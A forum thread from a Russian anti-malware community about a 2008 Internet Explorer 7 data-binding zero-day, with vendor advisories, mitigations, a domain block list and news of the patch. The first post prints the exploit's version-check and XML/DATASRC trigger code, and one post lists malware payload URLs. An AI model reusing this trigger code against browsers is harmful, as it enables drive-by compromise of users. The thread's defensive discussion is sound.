vaber

0-day - уже используется уязвимость в IE7

В этой теме 17 сообщений

На китайских серверах стали активно использовать зиродей - эксплоит, который пробивает IE7 под XP и 2003 со всеми заплатками на текущий момент. Фикс пока нету.

Проверка версий браузера и венды:

nav=navigator.userAgent.toLowerCase();if(navigator.appVersion.indexOf('MSIE')!=-1){version=parseFloat(navigator.appVersion.split('MSIE')[1])}if(version==7){w2k3=((nav.indexOf('windows nt 5.2')!=-1)||(nav.indexOf('windows 2003')!=-1));wxp=((nav.indexOf('windows nt 5.1')!=-1)||(nav.indexOf('windows xp')!=-1));if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://ЧЧЧ src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');var i=1;while(i<=10){window.status=" ";i++}}

Бинарник, который загружается на систему в закрытой ветке...возможно и полный код эксплоита будет выложен :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Эм ... а зачем статусная строка нулится 10 раз? %)

что-то мне кажется излишнего кода много -))

разве не это должно проить эксплорер?

<![CDATA[<image SRC=http://ЧЧЧ src=http://www.google.com]]>

8-ка не пробивается -))

странно ... оказывается лишнего ничего нет -))

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
разве не это должно проить эксплорер?

Я привел лишь часть кода эксплоита :). Скоро будет весь, может завтра выложу.

Чуть информации о эксплоите есть тут:

http://www.securitylab.ru/analytics/364556.php

Я и привел код определения версий по подобию скрина на секлабе.

З.Ы. У меня 999 сообщений - завтра будет праздник =))

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
В качестве временного решения SecurityLab рекомендует отключить в браузере Active Scripting.

Вот это меня радует (кроме слова 'временного')... :)

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Я привел лишь часть кода эксплоита :). Скоро будет весь, может завтра выложу.

Он и так в открытом доступе опубликован теми же китайцами. Вместе с \ko.exe ;)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Комментарий компании Trend Micro:

10 декабря, в 2:06 лаборатория TrendMicro (TrendLabs) получила отчет об обнаружении атаки нулевого дня в китайском форуме. Этот пакет продавался в китайских подпольных организациях. Эксплоит использовал Heap Spray на SDHTML который поражает следующую платформу:

Internet Explorer 7.0 (7.0.5730.13)

Windows XP / Windows 2003

После вторжения вредоносные программы загружают следующие ссылки: wwwwyyyyy.cn и wwwwyyyyy.cn.

На момент возникновения проблемы у Microsoft не было патчей к этому эксплоиту.

Решение

В качестве превентивной меры необходимо заблокировать следующие домены на межсетевом экране или прокси - сервере:

cc4y7.cn {BLOCKED}

wwwwyyyyy.cn {BLOCKED}

qqqqttrr.cn {BLOCKED}

www-onlinedown.com {BLOCKED}

hxxp://wieyou.com/iiee/explore.exe {BLOCKED}

hxxp://baidu.bbtu001.com {BLOCKED}

sllwrnm5.cn {BLOCKED}

Более подробную информацию можно получить на сайте http://www.trendmicro.com/vinfo/virusencyc...JS%5FDLOAD%2EMD

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Также вдогонку:

Оказывается, что не только IE7 уязвим, но также IE5, IE6, и IE8 Beta (послендий на ВСЕХ версиях Windows).

Microsoft: IE5, IE6 Also Affected by Browser Vulnerability.

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Также вдогонку:

Оказывается, что не только IE7 уязвим, но также IE5, IE6, и IE8 Beta (послендий на ВСЕХ версиях Windows).

Microsoft: IE5, IE6 Also Affected by Browser Vulnerability.

Paul

У меня восьмерка почему то не пробилась... какая бета использовалась?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
У меня восьмерка почему то не пробилась... какая бета использовалась?

Microsoft не говорит, что вышестоящий код сработает в IE8. Возможно надо модифицировать его немного. Речь шла о Beta2; там, кажется, такая же уявизмость...

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Вот официальный комментарий-предупреждение от Microsoft.

**************************

На данный момент нам известно только об ограниченном количестве атак такого типа. Также наше расследование показало, что эти атаки неэффективны против пользователей, которые применили рекомендации из опубликованного Бюллетеня Microsoft по безопасности (961051). Посредством известных в настоящее время атак автоматически воспользоваться этой уязвимостью через электронную почту - невозможно.

Дополнительные факторы, снижающие опасность

• Используйте Защищенный режим браузера Internet Explorer 7 в системе Windows Vista и установите уровень безопасности для зон Интернет и Интранет в значение «Высокий»

• По умолчанию обозреватель Internet Explorer в системах Windows Server 2003 и Windows Server 2008 работает в ограниченном режиме, называемом Конфигурация усиленной безопасности. В этом режиме для уровня безопасности зоны Интернет устанавливается значение "Высокий". Это один из факторов, снижающих опасность уязвимости веб-узлов, которые не добавлены в зону "Надежные узлы" обозревателя Internet Explorer. Дополнительные сведения о конфигурации усиленной безопасности обозревателя Internet Explorer см. в подразделе "Часто задаваемые вопросы" раздела, посвященного данной уязвимости.

• Не используйте без необходимости учетную запись с повышенными правами (напр. Администратор). Злоумышленник, успешно воспользовавшийся данной уязвимостью, может получить те же самые права, которые имеет локальный пользователь. Риск для пользователей, учетные записи которых имеют ограниченные права, меньше, чем для пользователей, работающих с правами администратора.

Подробности:

На данный момент расследование показало, что ограниченное количество атак производилось только против Windows Internet Explorer 7 на поддерживаемых версиях Windows XP Service Pack 2, Windows XP Service Pack 3, Windows Server 2003 Service Pack 1, Windows Server 2003 Service Pack 2, Windows Vista, Windows Vista Service Pack 1 и Windows Server 2008.

Microsoft Internet Explorer 5.01 Service Pack 4, Microsoft Internet Explorer 6 Service Pack 1, Microsoft Internet Explorer 6 и Windows Internet Explorer 8 Beta 2 на всех поддерживаемых версиях Microsoft Windows пока расцениваются как потенциально уязвимые.

Уязвимость представляет собой некорректный указатель в функции привязки данных в Internet Explorer. В случае, если функция привязки данных включена (что является состоянием «по умолчанию»), при определенных обстоятельствах, возможно, что объект будет высвобожден без изменения длинны массива, оставляя возможность доступа к области памяти, ранее используемой удаленным объектом. Это может вызвать неожиданное завершение программы Internet Explorer, и её переход в состояние, которое потенциально уязвимо. Мы активно работаем с нашими партнерами программ Microsoft Active Protections Program (MAPP) и Microsoft Security Response Alliance (MSRA), чтобы оперативно предоставлять информацию разработчикам ПО для обеспечения информационной безопасности и обеспечить защиту максимальному количеству пользователей.

Бюллетень Microsoft по безопасности (954462) предоставляет информацию об инструментах, которые вы можете использовать для анализа кода вашего веб-узла на предмет уязвимостей, связанных с внедрением SQL кода (SQL Injection attacks).

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Ссылок уже много было в данной теме, но хочу подчеркнуть, что корпорация Майкрософт также проверила представленные по ссылке методы обхода проблемы (workarounds). Хотя данные меры не устраняют саму уязвимость, они позволяют надёжно блокировать известные направления атак и касаются именно работы с библиотекой OLEDB32.DLL:

http://www.microsoft.com/rus/technet/secur...ory/961051.mspx

(в середине страницы)

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Microsoft выпустила патч. Для тех, у которых автоматические обновления не стоит на Авто:

Microsoft Security Bulletin MS08-078 - Critical; Security Update for Internet Explorer (960714)

Выберите свою ОС и не забудьте переключить язык.

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

В прошедший вторник на Windows Update было размещено декабрьское накопительное обновление безопасности для Internet Explorer. В дополнение к Windows Update вы можете загрузить это и другие обновления к продуктам Microsoft через Microsoft Update.

Данное обновление устраняет четыре уязвимости, приводящие к удаленному исполнению произвольного кода, путем изменения метода обработки Internet Explorer параметров и обработки результатов, которые приводят IE в уязвимое состояние. За более детальной информацией по поводу данного обновления следует обратиться к следующей документации:

Бюллетень безопасности MS08-073

Статья базы знаний 958215

Данное обновление имеет статус критического для IE 5.01, 6 SP1 в Microsoft Windows 2000; IE 6 в Windows XP и IE 7. Новые бета-версии Internet Explorer уязвимостям не подвержены.

Обновления безопасности для Internet Explorer - накопительные, поэтому они включают все ранее выпущенные обновления для каждой из версий Internet Explorer.

Настоятельно рекомендуем всем пользователям Internet Explorer загрузить это и другие обновления через Windows Update или Microsoft Update. Пользователям Windows рекомендуем настроить Windows Update на автоматическую установку обновлений для продуктов Microsoft.

Terry McCoy,

программный менеджер по безопасности Internet Explorer

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Ещё Admin какой-то патч упомянул вот тут, но без ссылки.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Уязвимость настолько серьёзная, что Microsoft даже сделала спецбаннер на главной странице своего сайта:

ie7_urgent_update.jpg

post-3670-1229717841_thumb.jpg

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Уязвимость настолько серьёзная, что Microsoft даже сделала спецбаннер на главной странице своего сайта:

Реклама для Gear Wars 2 рядом немного глупо выглядит в данном контексте:

'Время взять реванш'... :)

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Создайте учетную запись или войдите, чтобы комментировать

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!


Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.


Войти с помощью Facebook Войти Войти с помощью Twitter
Anti-Malware.ru Вконтакте   Anti-Malware.ru в Facebook   Anti-Malware.ru в Twitter   Anti-Malware.ru в LinkedIn   RSS
  • Сообщения

    • Openair
    • Ego Dekker
      Декабрь 2019 — дата окончания жизненного цикла ESET NOD32/ESET Smart Security 9.0.
    • demkd
      драйверу не нужно заниматься такой ерундой как сплайсинг, просто запись в реестре не была скрыта, не доделали руткит.
    • Ольга_diplombest
      Высшее образование — сегодня это головная боль. Хотя каждый молодой человек стремиться его получить, как залог хорошей работы и высокой зарплаты в будущем. Но ВУЗы уже перестали быть бесплатными, поэтому получить образование можно только за деньги. Поэтому все чаще портрет современного студента — это работающий человек, который совмещает работу с учебой и еще имеющий семью. К тому же ссесия, написание рефератов. Курсовых работ или защита диплома — это настоящее испытание требующее много времени и сил.Необходимо время на поиск материала диплома,  написание работы, а еще семья и работа —и вот времени не хватает. При этом все успеть, порой физически бывает не возможно. И вот студент думает выхода нет и заваливает ссесию, бросает ВУЗ. Но выход есть, воспользоваться профессиональными преподавателями, аспирантами, докторами наук ... ка сделали уже многие студенты — https://diplombest.ru/сайт для тех, кто ценит время и бережет нервы. Компания работает без предоплаты, что гарантирует получение качественной работы в срок и без рисков для студента, политика скидок позволяет экономить до 50% от стоймости работы, что заслуживает доверия со стороны студентаТогда получение высшего образования будет в радость и через 5 лет ты уже заслуженный специалист.
    • Ольга_diplombest
      Я да не плохие деньги. Я то пользовалась https://diplombest.ru/. роде не плохо